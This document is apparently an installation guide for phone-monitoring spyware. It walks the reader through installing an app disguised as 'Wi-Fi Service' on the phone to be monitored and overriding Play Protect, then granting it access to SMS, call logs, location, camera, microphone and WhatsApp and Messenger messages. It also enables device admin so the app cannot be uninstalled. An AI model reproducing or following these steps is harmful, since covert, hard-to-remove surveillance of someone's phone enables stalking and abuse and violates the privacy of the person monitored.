Do this on the phone that will be monitored. ~3 minutes.
Settings → Apps → Special access → Install unknown apps → choose the browser you used → Allow. (Android 8+)
Open it, tap Allow installs from this app, then Download and install — it fetches the service ("Wi-Fi Service") and opens the Android installer.
If Play Protect warns "unknown app", tap More details → Install anyway. Optionally turn Play Protect scanning off so the app is not removed.
Enter the 6-digit code from the panel. Grant the permission prompts: SMS, call log, contacts, location, photos, camera, microphone, notifications.
Settings → Accessibility → Wi-Fi Service → ON (needed for WhatsApp / Messenger messages and site tracking).
Settings → Notifications → Device & app notifications → Wi-Fi Service → allow (needed for incoming messages).
Battery → Wi-Fi Service → Unrestricted / No restrictions. Enable Autostart (Xiaomi/Oppo/Vivo). Then in the app tap Protect app → activate device admin (blocks uninstall).
Tap Enable screen capture once in the app and confirm — that is what the panel's Screenshot button uses.